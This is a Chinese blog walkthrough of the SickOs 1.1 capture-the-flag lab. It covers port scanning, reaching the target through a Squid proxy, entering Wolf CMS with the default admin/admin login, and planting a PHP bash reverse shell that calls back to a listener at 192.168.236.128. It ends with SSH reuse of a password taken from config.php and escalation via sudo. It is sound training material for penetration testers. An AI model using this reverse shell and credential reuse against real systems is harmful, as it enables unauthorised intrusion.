Sickos1.1 詳細靶機思路 實操筆記
免責宣告
本部落格提供的所有資訊僅供學習和研究目的,旨在提高讀者的網路安全意識和技術能力。請在合法合規的前提下使用本文中提供的任何技術、方法或工具。如果您選擇使用本部落格中的任何資訊進行非法活動,您將獨自承擔全部法律責任。本部落格明確表示不支援、不鼓勵也不參與任何形式的非法活動。
前言
這臺靶機比較簡單,有一定經驗的師傅們建議可以直接盲打,如果遇到走不通的話再看網上的各種分享,主要可能想不到的點在squid代理服務,透過查詢相關資料能得知我們透過配置代理就能突破這個點
下載靶機
靶機連結SickOs: 1.1 ~ VulnHub下來後匯入到vmware裡面
右鍵vm靶機欄 開啟靶機的.ovf檔案
Nmap資訊收集
主機發現:
sudo nmap -sn 192.168.236.128/24
開啟靶機後能找到133這臺機器,就是我們要打的靶機
TCP掃描
sudo nmap -sT --min-rate 10000 -p- -oA sickok_ports 192.168.236.133
拿到了這三個埠22,3128,8080 對應的埠分別為ssh squid-http http-proxy
詳細埠掃描
nmap -sT --min-rate 10000 -p 22,3128,8080 -O -sV -sC -oA sickos_detail 192.168.236.133
給出了更詳細的資訊,如服務版本號,主機型號等
nmap預設漏洞指令碼掃描
nmap --script=vuln -oA sickos_script p22,8080,3128 192.168.236.133
沒有什麼發現,nmap沒有給出利用路徑
web滲透
攻擊面分析
我們知道了3128開放的是一個squid代理服務,版本為3.1.19,如下直接訪問沒有給什麼東西
8080埠關閉,是一個http-proxy 可能是什麼代理之類的服務,直接去訪問是拒絕連線
22埠ssh遠端連線我們可以嘗試去空密碼連線,但可能性不大,如果在我們去尋找憑據實在走不下去了可以去嘗試一下
squid代理
先去搜尋一下squid服務
Squid代理伺服器
Squid主要提供快取加速、應用層過濾控制、web服務隱藏真實IP(安全性)的功能。
1、代理的工作機制
代替客戶機向網站請求資料,從而可以隱藏使用者的真實IP地址。
將獲得的網頁資料(靜態 Web 元素)儲存到快取中併傳送給客戶機,以便下次請求相同的資料時快速響應。
2、代理的型別
傳統代理:適用於Internet,需在客戶機指定代理伺服器的地址和埠。
透明代理:客戶機不需指定代理伺服器的地址和埠,而是透過預設路由、防火牆策略將Web訪問重定向給代理伺服器處理。
反向代理:如果 Squid 反向代理伺服器中快取了該請求的資源,則將該請求的資源直接返回給客戶端;否則反向代理伺服器將向後臺的 WEB 伺服器請求資源,然後將請求的應答返回給客戶端,同時也將該應答快取(靜態)在本地,供下一個請求者使用。
靶機的squid跑在3128埠上,應該指定的代理伺服器埠就為3128,在瀏覽器上設定一下proxy
設定好後發現直接訪問靶機ip可以通,給了一個BLEHHH!!! 這是一個俚語
既然可以通那就爆破一下目錄吧
指定一下代理
dirb http://192.168.236.133/ -p http://192.168.236.133:3128/
+ http://192.168.236.133/cgi-bin/ (CODE:403|SIZE:291)
+ http://192.168.236.133/connect (CODE:200|SIZE:109)
+ http://192.168.236.133/index (CODE:200|SIZE:21)
+ http://192.168.236.133/index.php (CODE:200|SIZE:21)
+ http://192.168.236.133/robots (CODE:200|SIZE:45)
+ http://192.168.236.133/robots.txt (CODE:200|SIZE:45)
+ http://192.168.236.133/server-status (CODE:403|SIZE:296)
先訪問最感興趣的index.php
其實就是之前的BLEHHHH!!
其他的目錄掃了一眼,/connect裡面是一個指令碼,沒什麼用大概就是說 你可能想要嘗試(利用)我的服務
/server-status 403forbidden無法訪問
#!/usr/bin/python
print("I Try to connect things very frequently")
print("You may want to try my services")
robots.txt :
給了一個Dissalow:/wolfcms,嘗試一下訪問這個路由,嘗試訪問發現真的有
點了一圈沒有什麼發現,網頁都是一些靜態資源,去網上搜尋一下wolfcms有沒有什麼框架漏洞
Wolf CMS - Arbitrary File Upload / Execution - PHP webapps Exploit
這裡發現一個長得很像登陸介面的url
http://targetsite.com/wolfcms/?/admin/plugin/file_manager/browse/
確實跳轉到了一個登入頁
弱密碼U/P:admin admin進入wolfcms的後臺
反向連線shell
在登入wolfcms後臺之後隨便點點,發現有很多程式碼執行和檔案上傳的位置,比如Home Page裡面就可以填寫php程式碼
在Articles中嵌入
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.236.128/443 0>&1'");?>
來分析一下這個反向連線shell
exec()
php的內建函式,用於執行外部程式 基礎語法:exec(command,output,return_var) (命令,儲存命令的輸出,返回狀態碼)
/bin/bash
Linux系統中的Bash shell的路徑 /bin/bash是Bash shell的可執行檔案
-c
這是Bash的一個選項,表示後面跟著的字串會被當作一個命令來執行
'bash -i >& /dev/tcp/192.168.236.128/443 0>&1'
這個字串是傳遞給Bash的命令。我們再進一步解析:
bash -i
bash
:啟動一個新的Bash shell。-i
:表示以互動模式執行Bash shell。
>&
:這是一個重定向運算子,用於將標準輸出(stdout)和標準錯誤(stderr)合併並重定向到指定的目標。
/dev/tcp/192.168.236.128/443
:這是一個特殊的檔案描述符,表示透過TCP協議連線到IP地址為 192.168.236.128
的主機,埠為 443
。
0>&1
0
:表示標準輸入(stdin)。
>&1
:表示將標準輸入(stdin)重定向到標準輸出(stdout)的檔案描述符。
嵌入,儲存後在kali上開啟監聽
sudo nc -lvnp 443
再去訪問Artical 反彈shell成功
提權
資訊收集
先看一下得到的許可權能幹什麼,有什麼許可權,在這個許可權下能看到的檔案等資訊,這裡我建議最好把整個shell的所有能訪問到的東西都先瀏覽一遍,把他的檔案結構都搞清楚,要知道他有沒有什麼可以訪問的配置檔案config等,/etc/passwd這種重要的目錄也要去嘗試一下有沒有許可權開啟,裡面是否有我們感興趣的內容
whoami
可以看到現在的使用者是www-data
嘗試訪問/etc/passwd 發現root和sickos這兩個賬戶是擁有bash環境的,而我們所在的www-data是沒有的,所以如果我們找到憑據應該優先嚐試這兩個賬戶。
ls -alh
能看到有一個config.php配置檔案 ,得到了一個憑據john@123 這裡還給了一個mysql的使用者名稱,但是這個機器沒開3389,沒有實際意義 ,得到的這個憑據,可以結合上面得到的兩個賬號,嘗試一下ssh連線,如果可以就成功提權了
<?php
// Database information:
// for SQLite, use sqlite:/tmp/wolf.db (SQLite 3)
// The path can only be absolute path or :memory:
// For more info look at: www.php.net/pdo
// Database settings:
define('DB_DSN', 'mysql:dbname=wolf;host=localhost;port=3306');
define('DB_USER', 'root');
define('DB_PASS', 'john@123');
define('TABLE_PREFIX', '');
// Should Wolf produce PHP error messages for debugging?
define('DEBUG', false);
// Should Wolf check for updates on Wolf itself and the installed plugins?
define('CHECK_UPDATES', true);
// The number of seconds before the check for a new Wolf version times out in case of problems.
define('CHECK_TIMEOUT', 3);
// The full URL of your Wolf CMS install
define('URL_PUBLIC', '/wolfcms/');
// Use httpS for the backend?
// Before enabling this, please make sure you have a working HTTP+SSL installation.
define('USE_HTTPS', false);
// Use HTTP ONLY setting for the Wolf CMS authentication cookie?
// This requests browsers to make the cookie only available through HTTP, so not javascript for example.
// Defaults to false for backwards compatibility.
define('COOKIE_HTTP_ONLY', false);
// The virtual directory name for your Wolf CMS administration section.
define('ADMIN_DIR', 'admin');
// Change this setting to enable mod_rewrite. Set to "true" to remove the "?" in the URL.
// To enable mod_rewrite, you must also change the name of "_.htaccess" in your
// Wolf CMS root directory to ".htaccess"
define('USE_MOD_REWRITE', false);
// Add a suffix to pages (simluating static pages '.html')
define('URL_SUFFIX', '.html');
// Set the timezone of your choice.
// Go here for more information on the available timezones:
// http://php.net/timezones
define('DEFAULT_TIMEZONE', 'Asia/Calcutta');
// Use poormans cron solution instead of real one.
// Only use if cron is truly not available, this works better in terms of timing
// if you have a lot of traffic.
define('USE_POORMANSCRON', false);
// Rough interval in seconds at which poormans cron should trigger.
// No traffic == no poormans cron run.
define('POORMANSCRON_INTERVAL', 3600);
// How long should the browser remember logged in user?
// This relates to Login screen "Remember me for xxx time" checkbox at Backend Login screen
// Default: 1800 (30 minutes)
define ('COOKIE_LIFE', 1800); // 30 minutes
// Can registered users login to backend using their email address?
// Default: false
define ('ALLOW_LOGIN_WITH_EMAIL', false);
// Should Wolf CMS block login ability on invalid password provided?
// Default: true
define ('DELAY_ON_INVALID_LOGIN', true);
// How long should the login blockade last?
// Default: 30 seconds
define ('DELAY_ONCE_EVERY', 30); // 30 seconds
// First delay starts after Nth failed login attempt
// Default: 3
define ('DELAY_FIRST_AFTER', 3);
// Secure token expiry time (prevents CSRF attacks, etc.)
// If backend user does nothing for this time (eg. click some link)
// his token will expire with appropriate notification
// Default: 900 (15 minutes)
define ('SECURE_TOKEN_EXPIRY', 900); // 15 minutes
看到別人的部落格,還找到了這個路徑下的配置檔案
cat /var/www/wolfcms/wolf/plugins/backup_restore/views/settings.php
裡面有一個密碼
但實際好像並沒有什麼用處
ssh
嘗試sickos root
john@123 pawpsw123
這一組憑據
這一組可以連線
ssh sickos@192.168.236.133
john@123
sudo -l檢視一下拿到的shell的許可權
有sudo許可權,可以執行任何命令(ALL:ALL) 也就是可以用sudo命令提升到root許可權
那就直接切換root使用者
sudo /bin/bash
成功提權,root目錄下有flag
成功通關sickos